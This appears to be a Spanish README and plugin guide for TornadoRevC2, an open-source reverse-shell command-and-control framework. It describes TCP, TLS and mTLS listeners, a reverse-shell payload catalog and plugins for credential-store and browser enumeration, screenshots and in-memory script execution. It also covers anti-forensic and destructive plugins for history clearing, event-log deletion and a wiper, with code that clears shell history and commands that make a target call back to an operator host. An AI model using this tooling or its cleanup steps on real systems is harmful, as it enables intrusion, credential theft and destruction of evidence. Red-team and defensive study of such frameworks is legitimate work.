### Configuración de Listeners

TornadoRevC2 ejecuta **tres listeners independientes simultáneamente**, para que los implants puedan conectarse mediante texto plano, TLS con autenticación de servidor o TLS con autenticación mutua, según el modelo de amenaza del engagement:

| Listener | Puerto por defecto | Flag | Autenticación | Certificados |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Ninguna           | Ninguno |
| TLS      | `8443`       | `-tp` | Autenticación de servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Mutua (se requiere certificado de cliente) | bundle `mtls_certs/` (CA + servidor + cliente) |

El flag `-H` establece la dirección de bind compartida por los tres listeners. Los tres pueden habilitarse a la vez; actualmente no es necesario deshabilitar ninguno — deja el puerto libre o sin bind para ignorarlo.

**Generación automática de certificados.** En el primer lanzamiento, el handler crea dos directorios aislados y genera el material que necesita:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**Plugins compartidos** (`firewall`, `ports`, `browser`, `credstore`, y otros) existen como módulos unificados únicos en `shared/`. **Los plugins específicos de plataforma** como `rdp` y `eventlogdel` residen exclusivamente bajo `windows/` o `linux/` y no se duplican en `shared/`.

Los recolectores emiten JSON envuelto en tokens marcadores (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). El ejecutor compartido analiza esta salida, formatea un informe orientado al operador y persiste los resultados en el directorio de registro de sesión.

---

## Requisitos e Instalación

**Handler (máquina del operador):**

- Python 3.7 o posterior
- OpenSSL (para la generación automática de certificados TLS y mTLS)
- Git (opcional; requerido para el comando de operador `update`)
- No se requieren paquetes Python de terceros```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. Establecer una sesión

Despliega un reverse shell desde el catálogo integrado (`payloads`) o usa tu propio implante. Al conectarse, TornadoRevC2 asigna un ID de sesión y comienza a registrar en `logs/`.

### 3. Operar```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**Valores de plataforma:** `linux`, `windows`, `unix`. Linux y `unix` se tratan como compatibles— un plugin registrado para `linux` se ejecuta en ambos. Valor predeterminado si se omite: `["linux", "windows", "unix"]`.

**Múltiples comandos por módulo:** Un solo archivo puede registrar varios comandos aplicando `@plugin.command` a múltiples funciones. Cada uno obtiene un nombre independiente.

### Ciclo de vida de ejecución

Cuando un operador ejecuta `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**Cuándo usar:** Sondas simples, enumeración en una línea, comandos que no necesitan informes estructurados.

**Métodos clave:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Patrón 2: Colector estructurado (recomendado)

Úsalo para plugins de enumeración que recopilan datos estructurados en el objetivo y devuelven un informe formateado. Este es el patrón utilizado por todos los plugins de reconocimiento integrados (`firewall`, `ports`, `browser`, etc.).

**Flujo:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**Parámetros de `run_collector_plugin`:**

| Parámetro | Tipo | Descripción |
|-----------|------|-------------|
| `session` | `SessionContext` | Sesión objetivo |
| `plugin_name` | `str` | Nombre utilizado en los logs y mensajes de error |
| `unix_builder` | `Callable[[], str]` o `None` | Devuelve el comando de shell de Unix/Linux; `None` si no está disponible |
| `win_builder` | `Callable[[], str]` o `None` | Devuelve el script de PowerShell; `None` si no está disponible |
| `formatter` | `Callable[[dict], str]` | Convierte el dict JSON analizado en una cadena de informe |
| `timeout` | `float` | Segundos máximos de espera para la salida marcada (por defecto 30) |

Pase `None` para un builder de plataforma para marcar el plugin como no disponible en ese SO (consulte [Platform-specific plugins](#platform-specific-plugins)).

Después de guardar un plugin externo:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**Ejemplo de procesamiento posterior a la recolección** (de `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**Directrices:**

- Use `subprocess.check_output(..., timeout=N)` para cada comando externo.
- Recorte las listas grandes antes de emitirlas (límite de 50–80 entradas).
- Maneje la ausencia de herramientas de forma controlada—deje las secciones vacías en lugar de generar una excepción.
- Evite incrustar cadenas marcadoras en la salida; el plugin `history` elimina `__T_PLUGIN_*__` del texto recopilado por esta razón.
- Mantenga los recolectores compactos para permanecer por debajo del límite de tamaño en línea y evitar el almacenamiento temporal en `/tmp`.

### Recolectores de Windows

Los recolectores de Windows son cadenas de script de PowerShell devueltas por `_build_windows_command()`.

**Estructura:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### Convenciones de payload JSON

Los recolectores deben devolver un dict serializable en JSON. El runner y los formateadores esperan un uso consistente de las claves:

| Clave | Tipo | Propósito |
|-----|------|---------|
| `summary` | `dict` | Recuentos y estadísticas de alto nivel; renderizado primero por `format_generic_report()` |
| `error` | `str` | **Fallo grave** — el runner imprime el error y devuelve el código de salida 1 |
| `traceback` | `str` | Opcional; se registra como detalle cuando `error` está establecido |
| `reason` | `str` | **Fallo leve** — usar con formateadores personalizados (p. ej., portapapeles no disponible) |
| `ok` | `bool` | Indicador de éxito para plugins operativos (captura de pantalla, portapapeles) |
| Listas de `dict` | `list` | Renderizadas como tablas por `format_generic_report()` |
| Listas de `str` | `list` | Renderizadas como listas con viñetas |
| `dict` anidado | `dict` | Renderizado como secciones etiquetadas |

**Degradación gradual:** Para la enumeración de múltiples secciones, use claves de dict separadas por sección y capture las excepciones localmente. No establezca `error` de nivel superior a menos que todo el recolector haya fallado—los resultados parciales son preferibles.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Helpers reutilizables en `plugins/shared/common.py`:

| Función | Propósito |
|----------|---------|
| `format_generic_report(data, title='Results')` | Renderizador predeterminado de tabla/sección |
| `format_section(title, fields, width=22)` | Sección clave-valor |
| `format_list_section(title, items, empty='(none)')` | Lista con viñetas |
| `format_table_section(title, rows, columns)` | Filas de dict como columnas |
| `format_firewall_report`, `format_memorymap_report`, etc. | Formateadores específicos de plugins |

### Plugins específicos de plataforma

**Solo Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**Multiplataforma con constructores divididos:**

Algunos plugins compartidos delegan a módulos constructores específicos de la plataforma (p. ej., `virtualization` importa desde `linux/virtualization.py` y `windows/virtualization.py`). El punto de entrada `@plugin.command` permanece en `shared/`; los módulos constructores bajo `linux/` o `windows/` no contienen decorador y no se registran como plugins independientes.

### Plugins externos

Los plugins externos te permiten extender TornadoRevC2 sin modificar el repositorio.

**Configuración:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**Ciclo de vida externo vs integrado:**

| Acción | Plugin integrado | Plugin externo |
|--------|-----------------|-----------------|
| `plugins unload` | Deshabilitado temporalmente (el módulo permanece importado) | Completamente descargado y desregistrado |
| `plugins reload` | Reimporta el módulo, limpia registros de comandos obsoletos | Elimina de `sys.modules`, reimporta desde disco |
| Inicio | Cargado automáticamente | Cargado bajo demanda |

Los módulos externos se importan como `tornado_ext_plugin_<name>` para evitar colisiones de espacio de nombres.

### API de SessionContext

Cada handler recibe un `SessionContext` que envuelve el handler y el socket del cliente:

**Propiedades de metadatos:**

| Propiedad | Tipo | Descripción |
|----------|------|-------------|
| `session_id` | `str` | Identificador de sesión asignado |
| `platform` | `str` | `unix`, `windows` o `unknown` |
| `is_windows` / `is_unix` | `bool` | Indicadores de conveniencia de plataforma |
| `sysinfo` | `dict` | Información del host en caché de la recopilación `sysinfo` |
| `identity` | `dict` | Metadatos de identidad/huella de la sesión |
| `addr` | `tuple` | Dirección remota |
| `tls` | `bool` | Indica si la sesión usa TLS |
| `name` | `str` | Nombre amigable asignado por el operador |
| `fingerprint` | `str` | Huella estable del host |
| `logger` | `SessionLogger` | Escritor de log por sesión (puede ser `None`) |
| `colors` | `dict` | Códigos de color de consola |
| `socket` | socket | Socket de cliente sin procesar (uso avanzado) |

**Métodos de ejecución:**

| Método | Descripción |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Envía comando, espera salida, devuelve string |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Transmite salida con detección de inactividad; útil para comandos de larga duración |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Ejecuta el comando apropiado para la plataforma y extrae el payload marcado |
| `get_cwd()` | Devuelve el directorio de trabajo remoto |
| `collect_sysinfo(mode='stealth')` | Activa la recopilación de información del host |

**Métodos de transferencia:**

| Método | Descripción |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Sube archivo al objetivo |
| `download(remote_path, local_path, resume=False)` | Descarga archivo desde el objetivo |
| `verify_remote(remote_path)` | Verifica el tamaño y SHA-256 del archivo remoto |

**Registro y salida:**

| Método | Descripción |
|--------|-------------|
| `print(text, color=None)` | Imprime en la consola del operador con color opcional (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Añade evento con marca de tiempo a `session.log` |
| `log_command(cmd, output)` | Registra comando y salida en `session.log` |
| `log_plugin_result(name, report, detail='')` | Escribe informe en `logs/<session>/plugins/<name>_<timestamp>.log` |

### Manejo de errores y códigos de retorno

| Retorno | Significado | Comportamiento del handler |
|--------|---------|------------------|
| `0` | Éxito | No se muestra advertencia |
| `1` (o cualquier valor distinto de cero) | Fallo | Advertencia amarilla: `Plugin 'name' returned code N` |
| Excepción no capturada | Error | Mensaje de error rojo; registrado en el log de sesión |

**Modos de fallo del colector** (gestionados por `run_collector_plugin`):

| Condición | Comportamiento |
|-----------|----------|
| Timeout / sin marcadores en la salida | Salida 1, registra "no response" |
| Salida no es JSON válido | Salida 1, registra salida sin procesar (truncada) como detalle |
| `data["error"]` presente | Salida 1, imprime error y traceback |
| Fallos parciales de sección | **No** debe establecer `error` de nivel superior; dejar la sección vacía |

**Fallos suaves** (plugins operativos): Use `reason` o `ok: false` y gestione en un formateador personalizado o handler personalizado en lugar de depender de la comprobación estricta de `error` del runner.

### Mejores prácticas

1. **Prefiera comandos nativos del SO** sobre herramientas subidas—se alinea con el diseño de dependencias ligeras del framework.
2. **No escriba archivos en el objetivo** para enumeración; devuelva datos a través del canal shell. Los plugins operativos (wiper, historydel) son excepciones con propósito claro.
3. **Degrade con gracia** — sondee cada backend de forma independiente; secciones vacías superan al fallo total.
4. **Limite el tamaño de salida** — recorte listas a 50–80 elementos; trunque cadenas largas a 200–500 caracteres.
5. **Establezca timeouts realistas** — sondeos rápidos: 15–30s; enumeración exhaustiva: 45–75s.
6. **Registre de forma consistente** — llame a `session.log_event()` al inicio, `session.log_plugin_result()` al completar, `session.log_command()` para exportación de transcripción.
7. **Valide argumentos temprano** — devuelva 1 con mensaje de uso antes de enviar cualquier cosa al objetivo.
8. **Pruebe desde ambas consolas** — handler principal (`run plugin <ID>`) y sesión adjunta (`switch` luego `run plugin`).
9. **Use `plugins reload`** durante el desarrollo para recoger cambios sin reiniciar el handler.
10. **Limpie marcadores sensibles** de la salida recopilada si su plugin lee contenido de archivos arbitrarios.

### Implementaciones de referencia

| Plugin | Archivo | Patrón | Notas |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Colector multiplataforma | Degradación con gracia multi-backend |
| `ports` | `plugins/shared/ports.py` | Colector multiplataforma | `ss` / `Get-NetTCPConnection` nativos |
| `history` | `plugins/shared/history.py` | Colector multiplataforma | Constructores Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Handler personalizado | Argumento PID, constructor dinámico |
| `screenshot` | `plugins/shared/screenshot.py` | Handler personalizado | Base64 en JSON; guardado PNG del lado del operador |
| `clipboard` | `plugins/shared/clipboard.py` | Handler personalizado | Fallo suave vía campo `reason` |
| `historydel` | `plugins/shared/historydel.py` | Handler personalizado | Destructivo; limpieza shell post-colector |
| `wiper` | `plugins/shared/wiper.py` | Handler personalizado | Destructivo; validación de argumento de ruta |
| `services` | `plugins/windows/services.py` | Colector solo Windows | Punto de entrada mínimo |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Colector solo Windows | Destructivo; reporte de fallo por log |
| `rdp` | `plugins/windows/rdp.py` | Colector solo Windows | Enumeración de registro y firewall |
| `virtualization` | `plugins/shared/virtualization.py` | Entrada compartida + constructores divididos | Importa constructores `linux/` y `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Colector solo Linux | Listado restringido por plataforma |

Para nuevos plugins de enumeración, comience desde `run_collector_plugin` en `plugins/shared/runner.py` y copie el diseño de `firewall.py` o `ports.py`. Para plugins con argumentos o efectos secundarios, consulte `memorymap.py` o `wiper.py`.

---

## Registro de sesiones

Cada sesión escribe en un directorio aislado bajo `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## Configuración de TLS y mTLS

TornadoRevC2 ejecuta tres listeners aislados, cada uno con su propia fuente de certificados. Todo lo que está bajo `tls_certs/` y `mtls_certs/` se genera automáticamente en la primera ejecución y nunca se sobrescribe.

| Listener | Puerto | Autenticación de cliente | Certificados |
|----------|------|-------------|--------------|
| TCP | `4444` | ninguna | — |
| TLS | `8443` | solo servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | mutua (se requiere certificado de cliente) | paquete `mtls_certs/` |

### TLS

Se genera automáticamente como un par autofirmado (`CN=localhost`, RSA-2048, 3650 días).

Para proporcionar el tuyo propio:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### Actualizar una sesión activa a mTLS

Las sesiones existentes en TCP simple o TLS con autenticación de servidor se pueden trasladar al listener mTLS sin reiniciar el handler. El plugin `upgrade_mtls` sube `client.pem`, `client.key` y `ca.pem` al objetivo, lanza un shell en segundo plano que presenta el certificado de cliente y (por defecto) elimina el bundle del disco una vez que la nueva sesión está activa.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls